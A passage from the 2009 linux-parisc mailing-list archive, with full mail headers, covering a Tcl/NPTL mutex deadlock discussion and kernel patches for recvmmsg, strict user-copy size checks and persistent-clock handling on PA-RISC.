	Tue, 22 Dec 2009 17:05:15 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E436C4EA9; Tue, 22 Dec 2009 17:05:13 -0500 (EST)
In-Reply-To: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com> from "Carlos O'Donell" at Dec 22, 2009 03:30:59 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2481>

> I think we need to step back from the edge and ask ourselves what
> Tcl_WaitForEvent() is trying to do with the locks.
> 
> Do you know?

In unix/tclUnixNotify.c:

#ifdef TCL_THREADS
    /*
     * Place this thread on the list of interested threads, signal the
     * notifier thread, and wait for a response or a timeout.
     */

    Tcl_MutexLock(&notifierMutex);
    ...
#endif

    ...

#ifdef TCL_THREADS
    Tcl_MutexUnlock(&notifierMutex);
#endif /* TCL_THREADS */
    return 0;
}

There may be a timed wait while holding the lock.  Something is broken
in the tcl/expect handling of timed waits as there were a couple of
compile timeouts for compilations that shouldn't have timed out.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: wire up sys_recvmmsg
Date: Tue, 22 Dec 2009 23:50:33 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20091222225033.GA6996@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261522246 13668 80.91.229.12 (22 Dec 2009 22:50:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Dec 2009 22:50:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 22 23:50:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNDYr-0007zF-EE
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Dec 2009 23:50:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752183AbZLVWuh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2009 17:50:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752258AbZLVWuh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Dec 2009 17:50:37 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46862 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752183AbZLVWuh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Dec 2009 17:50:37 -0500
Original-Received: (qmail invoked by alias); 22 Dec 2009 22:50:35 -0000
Original-Received: from p4FDB2567.dip0.t-ipconnect.de (EHLO p100.box) [79.219.37.103]
  by mail.gmx.net (mp052) with SMTP; 22 Dec 2009 23:50:35 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19mg4MClhZmO2xHweSpjLF25NS+PeiorHmyBIEvw2
	JVMMB12sbEjCrF
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-08-17)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.58
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2482>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index cda1583..ee63634 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -811,8 +811,9 @@
 #define __NR_pwritev		(__NR_Linux + 316)
 #define __NR_rt_tgsigqueueinfo	(__NR_Linux + 317)
 #define __NR_perf_event_open	(__NR_Linux + 318)
+#define __NR_recvmmsg		(__NR_Linux + 319)
 
-#define __NR_Linux_syscalls	(__NR_perf_event_open + 1)
+#define __NR_Linux_syscalls	(__NR_recvmmsg + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 01c4fcf..a0c54cf 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -417,6 +417,7 @@
 	ENTRY_COMP(pwritev)
 	ENTRY_COMP(rt_tgsigqueueinfo)
 	ENTRY_SAME(perf_event_open)
+	ENTRY_COMP(recvmmsg)
 
 	/* Nothing yet */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add strict copy size checks
Date: Tue, 22 Dec 2009 23:56:49 +0100
Lines: 96
Approved: news@gmane.org
Message-ID: <20091222225649.GA7050@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261522621 14771 80.91.229.12 (22 Dec 2009 22:57:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Dec 2009 22:57:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 22 23:56:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNDeu-0001BZ-VL
	for glpp-linux-parisc@lo.gmane.org; Tue, 22 Dec 2009 23:56:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751711AbZLVW4x (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2009 17:56:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751669AbZLVW4x
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Dec 2009 17:56:53 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:49436 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751340AbZLVW4w (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Dec 2009 17:56:52 -0500
Original-Received: (qmail invoked by alias); 22 Dec 2009 22:56:50 -0000
Original-Received: from p4FDB2567.dip0.t-ipconnect.de (EHLO p100.box) [79.219.37.103]
  by mail.gmx.net (mp037) with SMTP; 22 Dec 2009 23:56:50 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+VQ0QauYOVc6X+3f5VKbpCIHngFM8N26wuu00S11
	LOdivoTa0SseOJ
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-08-17)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.48
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2483
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2483>

Add CONFIG_DEBUG_STRICT_USER_COPY_CHECKS, copied from the x86
implementation.

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -12,4 +12,18 @@ config DEBUG_RODATA
          portion of the kernel code won't be covered by a TLB anymore.
          If in doubt, say "N".
 
+config DEBUG_STRICT_USER_COPY_CHECKS
+	bool "Strict copy size checks"
+	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
+	---help---
+	  Enabling this option turns a certain set of sanity checks for user
+	  copy operations into compile time failures.
+
+	  The copy_from_user() etc checks are there to help test if there
+	  are sufficient security checks on the length argument of
+	  the copy operation, by having gcc prove that the argument is
+	  within bounds.
+
+	  If unsure, or if you run an older (pre 4.4) gcc, say N.
+
 endmenu
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -7,6 +7,7 @@
 #include <asm/page.h>
 #include <asm/system.h>
 #include <asm/cache.h>
+#include <asm/errno.h>
 #include <asm-generic/uaccess-unaligned.h>
 
 #define VERIFY_READ 0
@@ -234,13 +235,35 @@ extern long lstrnlen_user(const char __user *,long);
 
 unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len);
 #define __copy_to_user copy_to_user
-unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len);
-#define __copy_from_user copy_from_user
+unsigned long __copy_from_user(void *dst, const void __user *src, unsigned long len);
 unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len);
 #define __copy_in_user copy_in_user
 #define __copy_to_user_inatomic __copy_to_user
 #define __copy_from_user_inatomic __copy_from_user
 
+extern void copy_from_user_overflow(void)
+#ifdef CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
+        __compiletime_error("copy_from_user() buffer size is not provably correct")
+#else
+        __compiletime_warning("copy_from_user() buffer size is not provably correct")
+#endif
+;
+
+static inline unsigned long __must_check copy_from_user(void *to,
+                                          const void __user *from,
+                                          unsigned long n)
+{
+        int sz = __compiletime_object_size(to);
+        int ret = -EFAULT;
+
+        if (likely(sz == -1 || sz >= n))
+                ret = __copy_from_user(to, from, n);
+        else
+                copy_from_user_overflow();
+
+        return ret;
+}
+
 struct pt_regs;
 int fixup_exception(struct pt_regs *regs);
 
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -475,7 +475,8 @@ unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len)
 	return pa_memcpy((void __force *)dst, src, len);
 }
 
-unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len)
+EXPORT_SYMBOL(__copy_from_user);
+unsigned long __copy_from_user(void *dst, const void __user *src, unsigned long len)
 {
 	mtsp(get_user_space(), 1);
 	mtsp(get_kernel_space(), 2);

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add strict copy size checks
Date: Wed, 23 Dec 2009 00:21:04 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <4B315460.6090007@gmx.de>
References: <20091222225649.GA7050@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261524076 19234 80.91.229.12 (22 Dec 2009 23:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Dec 2009 23:21:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 00:21:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNE2O-00037K-NR
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 00:21:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752456AbZLVXVI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2009 18:21:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752962AbZLVXVH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Dec 2009 18:21:07 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:35457 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752456AbZLVXVG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Dec 2009 18:21:06 -0500
Original-Received: (qmail invoked by alias); 22 Dec 2009 23:21:05 -0000
Original-Received: from p4FDB2567.dip0.t-ipconnect.de (EHLO halden.box) [79.219.37.103]
  by mail.gmx.net (mp009) with SMTP; 23 Dec 2009 00:21:05 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1858sx7dAw5vjS8Uh4lRlk1ebJ0jhc7D/xsGXwl2A
	bkaPq6AVqONk5l
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <20091222225649.GA7050@p100.box>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.66
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2484>

On 12/22/2009 11:56 PM, Helge Deller wrote:
> Add CONFIG_DEBUG_STRICT_USER_COPY_CHECKS, copied from the x86
> implementation.
> [...PATCH...]

Kyle,

please don't apply yet.
It will break the 64bit build.
Nevertheless, it brings up some code areas which would need
investigation...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: john stultz <johnstul@us.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [RFC][PATCH 12/14] Convert parisc to read/update_persistent_clock
Date: Tue, 22 Dec 2009 20:14:03 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <1261541643.3508.74.camel@localhost.localdomain>
References: <1261540762.3508.61.camel@localhost.localdomain>
	 <1261540826.3508.62.camel@localhost.localdomain>
	 <1261540902.3508.63.camel@localhost.localdomain>
	 <1261540988.3508.64.camel@localhost.localdomain>
	 <1261541054.3508.65.camel@localhost.localdomain>
	 <1261541130.3508.66.camel@localhost.localdomain>
	 <1261541188.3508.67.camel@localhost.localdomain>
	 <1261541286.3508.69.camel@localhost.localdomain>
	 <1261541342.3508.70.camel@localhost.localdomain>
	 <1261541415.3508.71.camel@localhost.localdomain>
	 <1261541491.3508.72.camel@localhost.localdomain>
	 <1261541567.3508.73.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261541664 25699 80.91.229.12 (23 Dec 2009 04:14:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 04:14:24 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: lkml <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 05:14:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNIc4-0006tL-1O
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 05:14:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752999AbZLWEOP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Dec 2009 23:14:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753088AbZLWEOP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Dec 2009 23:14:15 -0500
Original-Received: from e37.co.us.ibm.com ([32.97.110.158]:54057 "EHLO
	e37.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752948AbZLWEOO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Dec 2009 23:14:14 -0500
Original-Received: from d03relay05.boulder.ibm.com (d03relay05.boulder.ibm.com [9.17.195.107])
	by e37.co.us.ibm.com (8.14.3/8.13.1) with ESMTP id nBN4Cs8R030018;
	Tue, 22 Dec 2009 21:12:54 -0700
Original-Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168])
	by d03relay05.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id nBN4E9VS160858;
	Tue, 22 Dec 2009 21:14:09 -0700
Original-Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1])
	by d03av02.boulder.ibm.com (8.14.3/8.13.1/NCO v10.0 AVout) with ESMTP id nBN4E8Rc001870;
	Tue, 22 Dec 2009 21:14:09 -0700
Original-Received: from [9.65.31.230] (sig-9-65-31-230.mts.ibm.com [9.65.31.230])
	by d03av02.boulder.ibm.com (8.14.3/8.13.1/NCO v10.0 AVin) with ESMTP id nBN4E55S001818;
	Tue, 22 Dec 2009 21:14:06 -0700
In-Reply-To: <1261541567.3508.73.camel@localhost.localdomain>
X-Mailer: Evolution 2.28.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2485 gmane.linux.kernel:931132
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2485>

This patch converts the parisc architecture to use the generic
read_persistent_clock and update_persistent_clock interfaces, reducing
the amount of arch specific code we have to maintain, and allowing for
further cleanups in the future.

I have not built or tested this patch, so help from arch maintainers
would be appreciated.

Signed-off-by: John Stultz <johnstul@us.ibm.com>
---
 time.c |   29 +++++++++++++----------------
 1 file changed, 13 insertions(+), 16 deletions(-)

Index: gettimeoffset/arch/parisc/kernel/time.c
===================================================================
--- gettimeoffset.orig/arch/parisc/kernel/time.c	2009-12-22 18:50:55.000000000 -0800
+++ gettimeoffset/arch/parisc/kernel/time.c	2009-12-22 18:51:06.000000000 -0800
@@ -250,9 +250,21 @@ static int __init rtc_init(void)
 }
 module_init(rtc_init);
 
-void __init time_init(void)
+void read_persistent_clock(struct timespec *ts)
 {
 	static struct pdc_tod tod_data;
+	if (pdc_tod_read(&tod_data) == 0) {
+		ts->tv_sec = tod_data.tod_sec;
+		ts->tv_nsec = tod_data.tod_usec * 1000;
+	} else {
+		printk(KERN_ERR "Error reading tod clock\n");
+	        ts->tv_sec = 0;
+		ts->tv_nsec = 0;
+	}
+}
+
+void __init time_init(void)
+{
 	unsigned long current_cr16_khz;
 
 	clocktick = (100 * PAGE0->mem_10msec) / HZ;
@@ -264,19 +276,4 @@ void __init time_init(void)
 	clocksource_cr16.mult = clocksource_khz2mult(current_cr16_khz,
 						clocksource_cr16.shift);
 	clocksource_register(&clocksource_cr16);
-
-	if (pdc_tod_read(&tod_data) == 0) {
-		unsigned long flags;

From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 09:56:24 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <119aab440912230656h73081d97wadf1e58a4a598338@mail.gmail.com>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com>
	 <20091222212950.8E5F74EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261580208 7325 80.91.229.12 (23 Dec 2009 14:56:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 14:56:48 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 15:56:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNSda-0000qm-8f
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 15:56:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753803AbZLWO41 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 09:56:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755186AbZLWO40
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 09:56:26 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:47649 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753803AbZLWO40 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 09:56:26 -0500
Original-Received: by bwz27 with SMTP id 27so4789507bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 06:56:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=vbA/wbY5Ss01tBEjbq72O44u6QN6I//sd2E/+e9PNPQ=;
        b=cbkCaLKiDug5MscfptEJY/xsoJ3qM2GBOPCmz+AraW3foU002cHkyo5S9uEVlIwGQZ
         UbQI6p7vo9eKRb/3+mItx3LrWEppUDehsPBoVjrwZ2TBzeW3JS/23SoKtrXsJNCaL7u4
         JmXoPJKYLHhj6pxmw0Msg3V+1tzwAPQVgmNoE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=U8Dk3y1qW59s7Hbfv3tZ454gKW37YkjT/qJx3kuu+ZlAkS6QPQeFaXAzxqAbMzb487
         LXNWR5MtrNwVe2revDmElnVjHAc8IQe7t3BT2wOtu2X355lk5OF5nueTpT7MVt0xP/ov
         ZtjK6CYQkC4NF5cmHt/SAQoEB/PAv9drNaENM=
Original-Received: by 10.204.24.70 with SMTP id u6mr2888306bkb.26.1261580184801; Wed, 
	23 Dec 2009 06:56:24 -0800 (PST)
In-Reply-To: <20091222212950.8E5F74EA9@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 508002560f8841c9
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2486>

On Tue, Dec 22, 2009 at 4:29 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> It would seem to me we have deadlock. =A0Two threads trying to lock
> the same mutex. =A0One should win... =A0It may be the mutex was left
> locked by some other thread.

Yes, it was left locked by thread #2, which then tried to acquire it
again. See below.

> This is the mutex:
>
> (gdb) p *mutex
> $1 =3D {__data =3D {__lock =3D 2, __count =3D 0, __owner =3D 18093, _=
_kind =3D 0,
> =A0 =A0__compat_padding =3D {0, 0, 0, 0}, __nusers =3D 1, {__spins =3D=
 0, __list =3D {
> =A0 =A0__next =3D 0x0}}, __reserved1 =3D 0, __reserved2 =3D 0},
> =A0 =A0__size =3D "\000\000\000\002\000\000\000\000\000\000F\255", '\=
000' <repeats 23 times>, "\001", '\000' <repeats 11 times>, __align =3D=
 2}

The __nusers field indicates that one user, namely __owner tid 18093
has already taken the lock.

The mutex owner is thread #2 in your example (tid shown in your backtra=
ce).

Thread #2 is also trying to lock the mutex again and is deadlocked.

The mutex is the default __kind of PTHREAD_MUTEX_TIMED_NP, but that
doesn't mean it's timed, only that it supports a timed lock, if you
call it using pthread_mutex_lock it will lock just like any other
mutex.

The lock value is 2, which indicates a private lock. Your backtrace
indicates you have called __lll_lock_wait_private, which is correct
for this case.

Under what conditions would thread #2 have a chance to try take it's
own lock again?

> It's hard to see what's happening because I don't seem to be able to
> single step the threads.

Yeah, there are some gdb/ptrace issues I need to sort out for the
newly minted nptl support.

>>
>> I think we need to step back from the edge and ask ourselves what
>> Tcl_WaitForEvent() is trying to do with the locks.
>>
>> Do you know?
>
> No. =A0Note thread 2 called pthread_mutex_lock from a different locat=
ion.

We need to determine under what conditions thread #2 would be able to
take the lock again and deadlock.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 10:01:32 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com>
	 <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261580503 8530 80.91.229.12 (23 Dec 2009 15:01:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 15:01:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 16:01:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNSiV-0002ef-Pm
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 16:01:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752682AbZLWPBg convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 10:01:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752807AbZLWPBf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 10:01:35 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:65052 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752682AbZLWPBf convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 10:01:35 -0500
Original-Received: by bwz27 with SMTP id 27so4793014bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 07:01:34 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
